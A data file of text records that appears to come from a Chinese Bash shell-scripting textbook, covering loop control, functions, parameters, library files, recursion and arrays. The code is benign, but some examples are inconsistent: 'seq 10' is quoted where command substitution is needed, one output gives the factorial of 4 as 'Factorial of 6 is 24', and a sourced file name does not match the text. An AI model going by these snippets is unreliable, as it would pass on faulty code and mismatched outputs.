    {"text": "当内层循环第5次执行时，变量j的值便成了5，满足代码第9行的条件测试，于是代码第11行的break语句得到了执行，该语句的执行导致了程序直接退出了内外两层循环，即使是代码第15行的echo语句也没有机会执行，所以，在上面的执行结果中，程序的输出与Shell命令提示符位于同一行中。"},
    {"text": "接下来继续对【例5-21】进行修改，将代码第12行的break语句替换为continue语句，从而对比continue语句break语句的区别。 【 例5-23 】通过continue语句跳过当前循环后面的语句，代码如下： 01 #-----------------------------/chapter5/ex5-23.sh------------------ 02 #!/bin/sh 03 04 for i in a b c d 05 do 06 echo -n \"$i \" 07 for j in 'seq 10' 08 do 09 if [ $j -eq 5 ];then 10 # 跳过后面的语句 11 continue 12 fi 13 echo -n \"$j \" 14 done 15 echo 16 done 【 例5-23 】与【例5-21】的唯一区别就是代码第12行。 为了便于比较分析，下面首先看一下【例5-23】的执行结果，如下： [root@linux chapter5]# ./ex5-23.sh a 1 2 3 4 6 7 8 9 10 b 1 2 3 4 6 7 8 9 10 c 1 2 3 4 6 7 8 9 10 d 1 2 3 4 6 7 8 9 10 从上面的执行结果可以看到，换成continue语句之后，外层循环仍然执行了4次，但是内层循环却从1一直增加到10，只是少了5。"},
    {"text": "当刚刚进入内层循环之后，循环变量j的值从1开始增加，1～4这4个数字都是小于5的，所以，代码第13行的echo语句便输出了这4个数字。 当内层循环在执行第5次循环时，变量j的值变成了5，代码第9行的条件测试的值为0，代码第11行的continue语句得到了执行。"},
    {"text": "但是continue语句并没有跳出内层循环，而是从代码第7行开始继续执行内层循环，此时变量j的值变成了6，代码第9行的条件测试不再等于0，所以第13行的echo语句便得以执行，输出了数字6。"},
    {"text": "【 例5-24 】演示含有参数的continue语句的使用方法，代码如下： 01 #-----------------------------/chapter5/ex5-24.sh------------------ 02 #!/bin/sh 03 04 for i in a b c d 05 do 06 echo -n \"$i \" 07 for j in 'seq 10' 08 do 09 if [ $j -eq 5 ];then 10 # 使用含有数字参数的 continue 语句 11 continue 2 12 fi 13 echo -n \"$j \" 14 done 15 echo 16 done 同样，我们先看一下该程序的执行结果，如下： [root@linux chapter5]# ./ex5-24.sh a 1 2 3 4 b 1 2 3 4 c 1 2 3 4 d 1 2 3 4 [root@linux chapter5]# 可以看出，【例5-24】所有的输出信息都位于同一行中，包括Shell命令提示符。"},
    {"text": "主要内容包括步进循环语句for、until循环语句、while循环语句、嵌套循环结构，以及break和continue这两种循环控制语句的使用方法。 重点在于掌握3种循环语句的基本用法，理解break和continue的区别，对于简单的嵌套循环结构，也应该有所了解。"},
    {"text": "第6章 函数 第6章 函数 和其他程序设计语言一样，在Shell语言中也存在着函数。 尽管在Shell中，函数并非必需的编程元素，但是通过使用函数，可以对程序进行更好地组织。"},
    {"text": "函数：主要介绍函数的基础知识，包括什么是函数、函数的定义方法、函数的调用方法、函数的返回值、函数和别名的区别，以及函数中的全局变量和局部变量。 函数参数：主要介绍函数的参数传递，包括带参数的函数的调用方法、如何获取函数的参数的个数、通过位置变量获取参数值、移动位置变量、通过getopts获取参数值、间接参数传递、通过全局变量传递参数；"},
    {"text": "对于一个单独的Shell脚本来说，在执行的时候，会为其创建一个新的Shell进程，来解释并执行脚本中的代码，当脚本执行完成，该Shell进程就会自动结束； 而对于一个函数来说，在调用的时候，系统并不会为其单独创建一个Shell进程，而是在调用者的Shell进程中直接解释并执行函数中的代码。"},
    {"text": "在Shell语言中，用户可以通过两种语法来定义函数，分别如下： function_name () { statement1 statement2 ... statement n } 或者 function function_name () { statement1 statement2 ... statement n } 上面两种语法的区别在于后者在函数名称前面使用了function关键字。"},
    {"text": "在本例中，定义了一个名称为sayhello()的函数，代码如下： 01 #-----------------------------/chapter5/ex6-1.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 function sayhello() 06 { 07 echo \"Hello, World!\" 08 } 09 # 调用函数 10 sayhello 在上面的代码中，第5行使用function关键字定义sayhello()函数，第5行～第8行是函数体，该函数只有1行代码，即使用echo语句输出1个字符串。"},
    {"text": "该程序的执行结果如下： [root@linux chapter6]# ./ex6-1.sh Hello, World! 如果省略function关键字，则【例6-1】可以修改为以下代码： 01 #! /bin/bash 02 03 # 定义函数 04 sayhello() 05 { 06 echo \"Hello, World!\" 07 } 08 # 调用函数 09 sayhello 前面已经讲过，在Shell语言中，函数必须在调用前定义。 因此，如果将【例6-1】中第10行的函数调用语句移到前面，如下： 01 #! /bin/bash 02 03 # 调用函数 04 sayhello 05 # 定义函数 06 sayhello() 07 { 08 echo \"Hello, World!\" 09 } 则会出现问题，其结果如下： [root@linux chapter6]# ./ex6-1.sh ./ex6-1.sh: line 3: sayhello: command not found 上面的错误提示给出，未发现sayhello命令。 之所以会出现以上错误，是因为Shell在执行脚本的时候，会优先将sayhello作为一个Shell命令来执行。"},
    {"text": "6.1.3 函数的调用 当某个函数定义之后，用户就可以通过函数名来调用该函数。 在Shell中，函数调用的基本语法如下： function_name param1 param2 … 在上面的语法中，function_name表示函数名称，其后面跟的param1、param2…表示函数的参数。"},
    {"text": "【 例6-2 】介绍函数的定义和调用方法，代码如下： 01 #-----------------------------/chapter6/ex6-2.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 getCurrentTime() 06 { 07 current_time=`date` 08 echo \"$current_time\" 09 } 10 11 # 调用函数 12 getCurrentTime 在上面的代码中，第5行～第9行定义了名称为getCurrentTime()的函数，该函数的功能是输出当前的系统时间。"},
    {"text": "该程序的执行结果如下： [root@linux chapter6]# ./ex6-2.sh Tue Jan 22 23:30:34 HKT 2013 注意： 当用户定义了一个函数之后，实际上该函数就成为一个合法的Shell命令，可以在后继的脚本中使用。"},
    {"text": "【 例6-3 】演示在某个函数中调用另外一个函数的函数链接，代码如下： 01 #-----------------------------/chapter6/ex6-3.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 john() 05 john() 06 { 07 echo \"Hello, this is John.\" 08 } 09 # 定义函数 alice 10 alice() 11 { 12 # 调用函数 john 13 john 14 echo \"Hello, this is Alice.\" 15 } 16 # 调用函数 alice 17 alice 在上面的代码中，第5行～第8行定义了一个名称为john()的函数，第10行～第15行定义了名称为alice()的函数，其中在第13行调用了前面定义的函数john()。"},
    {"text": "该程序的执行结果如下： [root@linux chapter6]# ./ex6-3.sh Hello, this is John. Hello, this is Alice. 从上面的执行结果可以得知，程序首先输出了关于john的信息，这条信息是函数john()输出的。"},
    {"text": "函数链接并不仅仅局限于在某个函数中调用另外一个函数，还可以进行多层嵌套调用，或者在某个函数中调用多个函数，下面的例子就说明了这种情况。"},
    {"text": "【 例6-4 】演示在某个函数中同时调用多个其他函数的方法，代码如下： 01 #-----------------------------/chapter6/ex6-4.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 john() 05 john() 06 { 07 echo \"Hello, this is John.\" 08 } 09 10 # 定义函数 alice() 11 alice() 12 { 13 echo \"Hello, this is Alice.\" 14 } 15 # 定义函数 sayhello() 16 sayhello() 17 { 18 john 19 alice 20 } 21 # 调用函数 sayhello() 22 sayhello 在上面的代码中，第5行～第8行定义了函数john()，第11行～第14行定义函数alice()，第16行～第20行定义函数sayhello()。"},
    {"text": "该程序的执行结果如下： [root@linux chapter6]# ./ex6-4.sh Hello, this is John. Hello, this is Alice. 从上面的执行结果可以得知，函数sayhello()通过调用前面两个函数，依次输出相关的信息。"},
    {"text": "6.1.5 函数的返回值 尽管在其他程序设计语言中，函数的返回值似乎是一个习以为常的问题，也就是说，函数就应该根据用户输入的参数，进行相关的运算，然后将运算结果返回给调用者。"},
    {"text": "然而，在Shell语言中，函数的返回值并不显得理所当然。 这意味着Shell中的函数并没有准备要把函数中的某个运算结果作为函数的返回值来返回。 因此，在Shell中，处理函数的返回值可以分为几种情况来讨论。"},
    {"text": "【 例6-5 】演示如何通过return语句返回某个数值，代码如下： 01 #-----------------------------/chapter6/ex6-5.sh------------------ 02 #! /bin/bash 03 04 # 定义求和函数 05 sum() 06 { 07 let \"z = $1 + $2\" 08 # 将和作为退出状态码返回 09 return \"$z\" 10 } 11 # 调用求和函数 12 sum 22 4 13 # 输出和 14 echo \"$?\" 在上面的代码中，第5行～第10行定义了一个求和函数，其中第7行计算两个参数的和。"},
    {"text": "与执行脚本相同，函数的退出状态码也可以通过系统变量$?获取，所以第14行通过变量$?获取了函数sum()的返回值（在此作为函数退出状态码返回）。"},
    {"text": "例如，如果将第12行的两个参数改为以下两个数： sum 253 4 则执行结果如下： [root@linux chapter6]# ./ex6-5.sh 1 可以发现，正确的结果应该是257，但是函数的返回值却是1。"},
    {"text": "【 例6-6 】演示如何通过echo语句来传递函数返回值，代码如下： 01 #-----------------------------/chapter6/ex6-6.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 length() 06 { 07 # 接收参数 08 str=$1 09 result=0 10 if [ \"$str\" != \"\" ]; then 11 # 计算字符串长度 12 result=${#str} 13 fi 14 # 将长度值写入标准输出 15 echo \"$result\" 16 } 17 # 调用函数 18 len=$(length \"abc123\") 19 # 输出执行结果 20 echo \"the string's length is $len\" 在上面的代码中，第5行～第16行定义了一个名称为length()的函数，用来计算字符串的长度。 其中，第8行通过位置变量$1接收参数，第12行计算用户输入的字符串的长度，第15行通过echo语句将字符串的长度值写入标准输出。"},
    {"text": "该程序的执行结果如下： [root@linux chapter6]# ./ex6-6.sh the string's length is 6 注意： Shell程序实际上是由许多Shell命令组成的，但是为了与其他程序设计语言保持一致，在本书中仍然将其称为语句，例如echo。"},
    {"text": "6.1.6 函数和别名 在Shell中，与函数比较相似的一个概念就是别名。 一个别名是一个Shell命令的缩写或者其他容易记忆的名称。 用户可以使用alias命令来设置别名，其基本语法如下： alias name=\"command\" 其中，name是要指定的别名，command则是原有的Shell命令，也就是真正要执行的命令。 函数和别名的相似之处在于，它们都是通过一个名称映射到一个或者一组命令。 例如函数是函数名到一组Shell命令的映射，而别名则是别名到一个Shell命令的映射。 无论是函数还是别名，在调用时都是执行其所对应的相关命令。 与函数相比，别名的功能相对比较简单，其主要区别有以下两点： 用户不能为一组命令指定别名。"},
    {"text": "首先使用alias命令定义一个别名，如下： [root@linux chapter6]# alias ls=\"ls -l\" 上面的命令表示将ls-l这个命令的别名命名为ls，这样的话用户在命令行中输入ls命令之后，实际上执行的就是含有-l选项的ls命令，如下： [root@linux chapter6]# ls . total 24 -rwxr-xr-x 1 root root 63 Jan 22 17:33 ex6-1.sh -rwxr-xr-x 1 root root 98 Jan 22 23:20 ex6-2.sh … 当用户不再需要某个别名时，可以使用unalias命令将其删除，如下： [root@linux chapter6]# unalias ls [root@linux chapter6]# ls . ex6-1.sh ex6-2.sh ex6-3.sh ex6-4.sh ex6-5.sh ex6-6.sh 从上面的执行结果可以得知，当别名被删除之后，用户再执行ls命令时，会执行原始的ls命令，因此，上面的命令只是简单地输出了文件名。"},
    {"text": "前面介绍的函数都是在脚本中定义的，实际上，用户可以直接在Shell环境中定义函数，其方法就是直接在Shell命令提示符后面依次输入函数名和函数体。 例如，为了定义一个名称为lsl()的函数，用户可以在命令行中依次输入以下语句： 01 [root@linux chapter6]# lsl() 02 > { 03 > ls -l \"$@\" 04 > } 其中，第1行输入函数名称，当按回车键之后，Shell会继续等待用户输入，因此后面的几行中在命令行的左侧出现一个大于号提示符。 用户可以继续输入函数的函数体，当用户输入最后的右侧大括号之后，函数定义完成，又重新出现Shell提示符。 函数定义完成之后，就可以直接在当前的Shell中使用，如下： [root@linux chapter6]# lsl . total 24 -rwxr-xr-x 1 root root 63 Jan 22 17:33 ex6-1.sh -rwxr-xr-x 1 root root 98 Jan 22 23:20 ex6-2.sh … 当然，上面例子中的函数只是简单地执行了ls命令，实际上在函数内部可以对文件进行更加复杂地操作，例如删除文件或者复制文件等。"},
    {"text": "用户定义的Shell函数可以通过unset命令来删除，删除以后的函数名将不再有效，如下： [root@linux chapter6]# unset lsl [root@linux chapter6]# lsl -bash: lsl: command not found 注意： 在前面的例子中，我们定义了一个名称为ls的别名，而Shell中已经存在一个名称为ls的命令。"},
    {"text": "但是在这种别名和同名命令同时存在的情况下，Shell会优先使用用户定义的别名，所以在上面的例子中，用户尽管没有指定要执行别名还是真实的命令，但是Shell会优先执行别名。"},
    {"text": "【 例6-7 】演示在函数内外所定义的全局变量的使用方法，代码如下： 01 #-----------------------------/chapter6/ex6-7.sh------------------ 02 #! /bin/bash 03 04 # 在函数外定义全局变量 05 var=\"Hello world\" 06 07 func() 08 { 09 # 在函数内改变变量的值 10 var=\"Orange Apple Banana\" 11 echo \"$var\" 12 # 在函数内定义全局变量 13 var2=\"Hello John\" 14 } 15 # 输出变量值 16 echo \"$var\" 17 # 调用函数 18 func 19 # 重新输出变量的值 20 echo \"$var\" 21 # 输出函数内定义的变量的值 22 echo \"$var2\" 在上面的代码中，第5行定义了一个名称为var的变量，该变量在函数外面定义，所以该变量属于全局变量，其有效范围是整个脚本，无论是在函数内还是在函数外，都可以正常引用。"},
    {"text": "该程序的执行结果如下： [root@linux chapter6]# ./ex6-7.sh Hello world Orange Apple Banana Orange Apple Banana Hello John 在上面的执行结果中，第1行的字符串是第16行代码的echo语句的输出，此时函数还没有被调用，所以变量var的值并没有改变。 第2行的字符串是第11行代码的函数内的echo语句的输出结果，此时变量var的值已经被修改。 而第3行的字符串是第20行代码的echo语句的执行结果，此时函数被调用，所以变量var的值已经改变。"},
    {"text": "代码如下： 01 #-----------------------------/chapter6/ex6-8.sh------------------ 02 #! /bin/bash 03 04 # 全局变量 05 var=\"Hello world\" 06 07 func() 08 { 09 # 局部变量 10 local var=\"Orange Apple Banana\" 11 echo \"$var\" 12 # 局部变量 13 local var2=\"Hello John\" 14 } 15 echo \"$var\" 16 func 17 echo \"$var\" 18 echo \"$var2\" 其实本例和【例6-7】基本相同，区别在于前者的第10行和第13行的变量名称前面都使用了关键字local。 该程序的执行结果如下： [root@linux chapter6]# ./ex6-8.sh Hello world Orange Apple Banana Hello world 在上面的执行结果中，一共有4行输出。"},
    {"text": "其中第1行是第15行代码的echo语句的执行结果，该语句输出了全局变量var的值。 第2行是第11行代码的输出，可以发现，该语句输出了局部变量var的值。 第3行是第17行代码的输出，尽管我们在第16行代码调用了函数func()，但是这并没有影响到全局变量var的值，该语句仍然输出了变量var的初始值。"},
    {"text": "从【例6-8】可以得知，当某个程序中同时存在相同名称的全局变量和局部变量时，在函数内部，局部变量会屏蔽全局变量。 也就是说，在函数内部，使用的是局部变量，而函数外面，使用的是全局变量。"},
    {"text": "实际上，对于函数来说，参数非常重要。 通过参数，用户可以将想要函数处理的数据传递给函数。 Shell语言中，同样支持含有参数的函数。 本节将介绍函数参数的使用方法。"},
    {"text": "6.2.1 含有参数的函数的调用方法 在某些程序设计语言中，函数的参数分为形参和实参，其中，形参是在函数定义的时候指定的参数； 而实参则是在函数调用的时候指定的参数。 通常情况下，函数的实参都是放在圆括号里面，如果有多个参数，则这些参数之间使用逗号隔开。 当然，也有一些语言在调用函数的时候并不是将参数放在圆括号里面，例如Visual Basic等。"},
    {"text": "6.2.2 获取函数参数的个数 在Shell中，不仅含有参数的函数的调用方法和执行脚本的语法相同，而且，在函数内部，用户也是通过位置变量来接收参数的值。"},
    {"text": "前面已经介绍过，用户可以通过系统变量$#来获取脚本的参数的个数。 【 例6-9 】演示如何通过$#来获取函数参数的个数，代码如下： 01 #-----------------------------/chapter6/ex6-9.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 func() 06 { 07 # 输出参数个数 08 echo \"the function has $# parameters.\" 09 } 10 # 调用函数 11 func a b c d e f g hello 12 func 12 3 \"hello world\" 13 func 在上面的代码中，第5行～第9行定义了名称为func()的函数，其中第8行输出了参数的个数。"},
    {"text": "该程序的执行结果如下： [root@linux chapter6]# ./ex6-9.sh the function has 8 parameters. the function has 3 parameters. the function has 0 parameters. 从上面的执行结果可以得知，当用户在Shell脚本中定义函数时，实际上并没有指定该函数到底拥有多少个参数。"},
    {"text": "在上面的例子中，当用户为函数func()提供8个参数时，系统变量$#输出了参数个数为8； 当用户为函数func()提供3个参数时，系统变量$#的值为3；"},
    {"text": "另外，在第12行代码中，第3个参数为“hello world”，中间含有一个空格，在这种情况下，用户应该使用单引号或者双引号将其引用起来，免得Shell误认为是两个参数。 注意： Shell函数的参数以空格隔开，如果某个参数中含有空格，则应该使用引号将其引用起来。"},
    {"text": "【 例6-10 】演示如何在函数中使用位置变量获取参数的值，代码如下： 01 #-----------------------------/chapter6/ex6-10.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 func() 06 { 07 # 输出所有的参数 08 echo \"all parameters are $*\" 09 # 输出所有的参数 10 echo \"all parameters are $@\" 11 # 输出脚本名称 12 echo \"the script's name is $0\" 13 # 输出第 1 个参数 14 echo \"the first parameter is $1\" 15 # 输出第 2 个参数 16 echo \"the second paramter is $2\" 17 } 18 # 调用函数 19 func hello world 在上面的代码中，第8行使用系统变量$*获取所有参数值，第10行使用系统变量$@获取所有的参数值，第12行使用位置变量$0获取当前脚本的名称，第14行和第16行分别使用位置变量$1和$2获取第1个和第2个参数的值。 该程序的执行结果如下： [root@linux chapter6]# ./ex6-10.sh all parameters are hello world all parameters are hello world the script's name is ./ex6-10.sh the first parameter is hello the second paramter is world 从上面的执行结果可以得知，系统变量$*和$@都获取了函数的所有的参数，在本例中，第8行和第10行代码的输出从表面上看不出有什么区别。"},
    {"text": "位置变量$0也成功地获取当前脚本的名称，$1和$2分别获取了第1个和第2个参数值。 注意： 无论是在脚本中，还是在函数中，位置变量$0获取的都是当前执行的脚本的名称。"},
    {"text": "6.2.4 移动位置参数 在前面介绍中，在Shell脚本中，用户可以使用shift命令来使得脚本的所有的位置参数向左移动一个位置，从而使得用户可以通过9以内的位置变量来获取超过9个的参数。"},
    {"text": "【 例6-11 】通过一种非常巧妙的方法依次获取传递给函数的各个参数，代码如下： 01 #-----------------------------/chapter6/ex6-11.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 func() 06 { 07 # 通过 while 循环和 shift 命令依次获取参数值 08 while (($# > 0)) 09 do 10 echo \"$1\" 11 shift 12 done 13 } 在上面的代码中，通过while循环语句配合shift命令获取各个参数的值。"},
    {"text": "该命令的功能是将传递给函数func()的位置参数向左移动一个位置，同时删除原来的第1个参数。 因此，每执行1次shift命令，所有的位置参数都会向左移动1个位置，原来处于第2个位置的参数会移动到第1个位置上面。"},
    {"text": "getopts是bash内置的一个命令，通过该命令，用户可以获取函数的选项以及参数值，或者是脚本的命令行选项以及参数值。 getopts命令的基本语法如下： getopts optstring [args] 在上面的语法中，参数optstring包含一个可以为getopts命令识别的选项名称列表。"},
    {"text": "getopts命令会依次遍历每个选项，选项名称将被保存到args变量中。 【 例6-12 】演示如何通过getopts命令获取各个选项及其参数值，代码如下： 01 #-----------------------------/chapter6/ex6-12.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 func() 06 { 07 # 逐个接收选项及其参数 08 while getopts \"a:b:c\" arg 09 do 10 # 当指定了 -a 选项时 11 case \"$arg\" in 12 a) 13 # 输出 -a 选项的参数值 14 echo \"a's argument is $OPTARG\" 15 ;; 16 b) 17 echo \"b's argument is $OPTARG.\" 18 ;; 19 c) 20 echo \"c\" 21 ;; 22 ?) 23 # 未知选项 24 echo \"unkown argument.\" 25 exit 1 26 ;; 27 esac 28 done 29 } 30 # 调用函数 31 func -a hello -b world 在上面的代码中，第8行通过getopts命令获取用户提供给函数func()的各个选项，其中函数func()可以接收的选项有a、b和c，其中选项a和b可以含有参数，而选项c不含有参数。 在while循环的过程中，当前选项名称将被保存到变量arg中，而选项的参数值将被保存到系统变量$OPTARG中。"},
    {"text": "该函数的执行结果如下： [root@linux chapter6]# ./ex6-12.sh a's argument is hello. b's argument is world. 从上面的执行结果可以得知，程序已经成功地获取了-a和-b这两个选项的参数值。"},
    {"text": "例如，在某个脚本中，存在以下两个变量： var=name name=John 可以发现，在上面的代码中，变量var的值恰好是后面一个变量的变量名。 此时，对于第2个变量，用户可以通过以下两种方式来引用： ${name} ${!var} 其中第1种引用方法是直接通过变量名来引用，而第2种引用方法则是通过第1个变量名来间接地引用。 在Shell中，变量的间接引用通常使用以下语法来实现： ${!var_name} 其中，变量var_name的值是另外一个变量的名称。 当用户使用以上语法间接引用变量时，实际上取得的是var_name的值所代表的变量的值，而非变量var_name的值。 【 例6-13 】演示如何在函数中使用间接参数传递，代码如下： 01 #-----------------------------/chapter6/ex6-13.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 func() 06 { 07 echo \"$1\" 08 } 09 10 # 定义变量 11 var=name 12 name=John 13 # 调用函数 14 func \"$var\" 15 func ${!var} 16 # 修改变量的值 17 name=Alice 18 # 再次调用函数 19 func \"$var\" 20 func ${!var} 在上面的代码中，函数func()比较简单，只有一行代码，输出第1个参数的值。"},
    {"text": "第11～第12行定义了两个变量，其中变量var的值是下面一个变量的名称。 第14行将变量var作为参数传递给函数，第15行通过间接引用的方法将第2个变量作为参数传递给函数。"},
    {"text": "6.2.7 通过全局变量传递数据 参数的作用是在主程序和函数之间传递数据。 但是，用户除了可以使用参数传递数据之外，还可以通过全局变量来传递。 前面已经介绍过，全局变量的作用域是整个程序，包括函数内部。"},
    {"text": "【 例6-14 】演示如何通过全局变量向函数传递数据，代码如下： 01 #-----------------------------/chapter6/ex6-14.sh------------------ 02 #! /bin/bash 03 04 # 定义全局变量 05 file=\"/bin/ls\" 06 # 定义函数 07 func() 08 { 09 if [ -e \"$file\" ] 10 then 11 echo \"the file exists.\" 12 else 13 echo \"the file does not exist.\" 14 fi 15 } 16 # 调用函数 17 func 18 # 修改全局变量的值 19 file=\"/bin/a\" 20 # 调用函数 21 func 在上面的代码中，第5行定义了一个全局变量。"},
    {"text": "该程序的执行结果如下： [root@linux chapter6]# ./ex6-14.sh the file exists. the file does not exist. 注意： 无论在何种程序设计语言中，都不建议使用全局变量来传递数据。"},
    {"text": "6.2.8 传递数组参数 在某些情况下，用户需要将一个数组作为参数传递给某个函数，然后在函数中对数组内容进行相应的处理。 严格地讲，Shell并不支持将数组作为参数传递给函数，但是用户仍然可以通过一些变通的方法实现数组参数的传递。"},
    {"text": "【 例6-15 】演示将数组元素作为多个参数传递给函数的方法，代码如下： 01 #-----------------------------/chapter6/ex6-15.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 func() 06 { 07 echo \"number of elements is $#.\" 08 while [ $# -gt 0 ] 09 do 10 echo \"$1\" 11 shift 12 done 13 } 14 # 定义数组 15 a=(a b \"c d\" e) 16 # 调用函数 17 func \"${a[@]}\" 在上面的代码中，函数内部通过while循环语句配合shift命令将数组元素逐个接收过来。"},
    {"text": "该程序的执行结果如下： [root@linux chapter6]# ./ex6-15.sh number of elements is 4. a b c d e 从上面的执行结果可以得知，程序可以成功地获取传递过去的数组元素的个数，以及各个元素的值。"},
    {"text": "实际上，在【例6-15】中，数组元素的个数与函数func()的实际参数的个数是相同的，因此，用户可以使用系统变量$#来获取数组元素个数。"},
    {"text": "代码如下： 01 #! /bin/bash 02 03 # 定义函数 04 func() 05 { 06 while [ $# -gt 0 ] 07 do 08 echo \"$1\" 09 shift 10 done 11 } 12 # 定义数组 13 a=(a b \"c d\" e) 14 # 调用函数 15 func ${a[@]} 执行结果如下： [root@linux chapter6]# ./ex6-15.sh number of elements is 5. a b c d e 从上面的执行结果可以得知，程序已经错误地将数组元素判断为5个。"},
    {"text": "例如，在下面的代码中： 01 #! /bin/bash 02 03 msg=\"Hello world.\" 04 echo \"$msg\" 05 func() 06 { 07 echo \"$1\" 08 } 09 func \"$msg\" 第1行～第4行都是可执行代码，第5行～第8行定义了一个名称为func()的函数，虽然其中的第7行是可执行的代码，但是只有当用户调用函数时，这些代码才会执行。"},
    {"text": "下面定义一个函数库文件，代码如下： 01 #-----------------------------/chapter6/lib.sh------------------ 02 #! /bin/bash 03 04 # 定义函数 05 error() 06 { 07 echo \"ERROR:\" $@ 1>&2 08 } 09 warning() 10 { 11 echo \"WARNING:\" $@ 1>&2 12 } 在上面的代码中，只定义了两个函数，其名称分别为error()和warning()。"},
    {"text": "注意： 由于函数库文件是由主程序载入并执行的，所以用户无需拥有库文件的执行权限，只要拥有读取权限即可。 6.3.2 函数库文件的调用 当库文件定义好之后，用户就可以在程序中载入库文件，并且调用其中的函数。"},
    {"text": "【 例6-16 】演示如何在Shell脚本中加载库文件，并且调用其中的函数，代码如下： 01 #-----------------------------/chapter6/ex6-16.sh------------------ 02 #! /bin/bash 03 04 # 载入函数库 05 . ex6-22.sh 06 07 # 定义变量 08 msg=\"the file is not found.\" 09 # 调用函数库中的函数 10 error $msg 在上面的代码中，第5行使用圆点命令载入前面定义的lib.sh文件，第10行调用其中的error()函数显示错误消息。 该程序的执行结果如下： [root@linux chapter6]# ./ex6-16.sh ERROR: the file is not found. 当用户使用函数库文件时，必须在调用函数前将库文件载入，否则会出现以下错误： [root@linux chapter6]# ./ex6-16.sh ./ex6-16.sh: line 10: error: command not found 上面的错误是将第5行移到第10行后面出现的。"},
    {"text": "之所以会出现以上错误，是因为Shell在解释脚本的第10行时，并没有发现用户定义了名称为error()的函数，所以会将其作为一个Shell名称来对待，但是系统中又没有名称为error的名称，所以就出现了命令未发现的错误。"},
    {"text": "如果指定的文件不存在，则会出现以下错误： [root@linux chapter6]# ./ex6-16.sh ./ex6-16.sh: line 3: ../ex6-16.sh: No such file or directory ./ex6-16.sh: line 6: error: command not found 上面的错误信息是将【例6-16】中的第5行代码改为一个错误的文件名之后出现的。"},
    {"text": "其中，第1行错误信息是Shell在解释第5行时，并没有发现指定的文件。 第2行错误信息是由于前面没有正确地载入库文件，所以导致Shell没有找到名称为error()的函数。"},
    {"text": "【 例6-17 】演示递归函数的定义方法，代码如下： 01 #-----------------------------/chapter6/ex6-17.sh------------------ 02 #! /bin/bash 03 04 # 定义递归函数 05 func() 06 { 07 read y 08 # 递归调用 09 func \"$y\" 10 echo \"$y\" 11 } 12 # 调用函数 13 func 在上面的代码中，第5行～第11行定义了一个递归函数，其中，第7行是从标准输入读取数据。"},
    {"text": "在数学中，整数n的阶乘可以使用以下公式来计算： n ! = 1 （当 n =0 时） n ! = n * ( n -1)! （当 n >0 时） 也就是说，当n等于0时，n的阶乘就是1； 当n大于0时，n的阶乘等于n与n-1的阶乘的乘积。 通常情况下，在计算阶乘时，用户应该指定当n等于0时终止递归调用。"},
    {"text": "【 例6-18 】实现了根据用户输入的数值计算其阶乘的方法，代码如下： 01 #-----------------------------/chapter6/ex6-18.sh------------------ 02 #! /bin/bash 03 04 # 定义递归函数 05 fact() 06 { 07 # 定义局部变量 08 local n=\"$1\" 09 # 当 n 等于 0 时终止递归调用 10 if [ \"$n\" -eq 0 ] 11 then 12 result=1 13 else 14 # 当 n 大于 0 时，递归计算 n-1 的阶乘 15 let \"m=n-1\" 16 fact \"$m\" 17 let \"result=$n * $?\" 18 fi 19 # 将计算结果以退出状态码的形式返回 20 return $result 21 } 22 23 # 调用递归函数 24 fact \"$1\" 25 26 echo \"Factorial of $1 is $?\" 在上面的代码中，第5行～第21行定义了一个计算阶乘的递归函数。"},
    {"text": "第15行将递归变量n的值减1，赋给另外一个变量m，第16行是递归调用的语句，通过该语句调用fact()函数自身，并将m作为新的递归变量传递给它。 第17行代码是在退出递归的过程中才调用，每退出一层，便得到一个fact()函数的退出状态码，这个退出状态码代表当前递归变量的阶乘值，通过第20行的return语句返回，并通过系统变量$?获得。 然后将当前退出的递归变量的阶乘值与上层递归调用中的局部变量$n相乘，得到当前的$n的阶乘值。"},
    {"text": "该程序的执行结果如下： [root@linux chapter6]# ./ex6-18.sh 4 Factorial of 6 is 24 为了使读者更加清楚【例6-18】的调用过程，下面对其进行简单地分析： （1）用户传入数值为4。"},
    {"text": "此时递归变量为1，仍然大于0，所以继续执行第15行，将1减1后得到0。 （11）继续执行第16行，将0作为新的递归变量传递给函数fact()。"},
    {"text": "（14）继续执行第20行的return语句，退出第4层递归调用，将1的阶乘值以退出状态码的形式返回。 （15）重复执行第（14）步，依次退出第3层、第2层和第1层递归调用，便依次得到2、3和4的阶乘值。 （16）等程序退出了第1层递归调用后，执行第20行代码，将最后的4的阶乘值以退出状态码的形式返回。"},
    {"text": "6.5 小结 本章详细介绍了Shell语言中的函数的使用方法，主要内容包括函数的基础知识、函数的参数传递、函数库文件的定义和调用，以及递归函数的实现等。 重点在于掌握Shell函数的定义方法、函数的返回值、通过位置变量和getopts函数传递参数，以及如何将通用的函数写成库文件以提高代码的重用性。"},
    {"text": "定义数组：主要介绍在Shell中定义数组变量的各种方法，包括通过指定元素值来定义数组、通过declare语句定义数组、通过元素值集合定义数组、通过键值对定义数组，以及通过字符串定义数组等。"},
    {"text": "数组的赋值：主要介绍如何为数组元素赋值，包括通过循环为数组元素赋值、通过索引为数组元素赋值、通过集合为数组元素赋值，以及在数组末尾追加新元素等。 访问数组：主要介绍数组元素的访问方法，包括如何访问数组的第1个元素、通过索引访问数组元素、计算数组长度、通过循环遍历数组元素、以字符串的形式输出所有的数组元素、以切片方式获取部分数组元素，以及数组元素的替换等。"},
    {"text": "7.1.1 通过指定元素值来定义数组 在Shell中，用户可以通过直接指定数组中的元素值来定义一个新的数组变量，其基本语法如下： array[key]=value 在上面的语法中，array表示数组变量的名称；"},
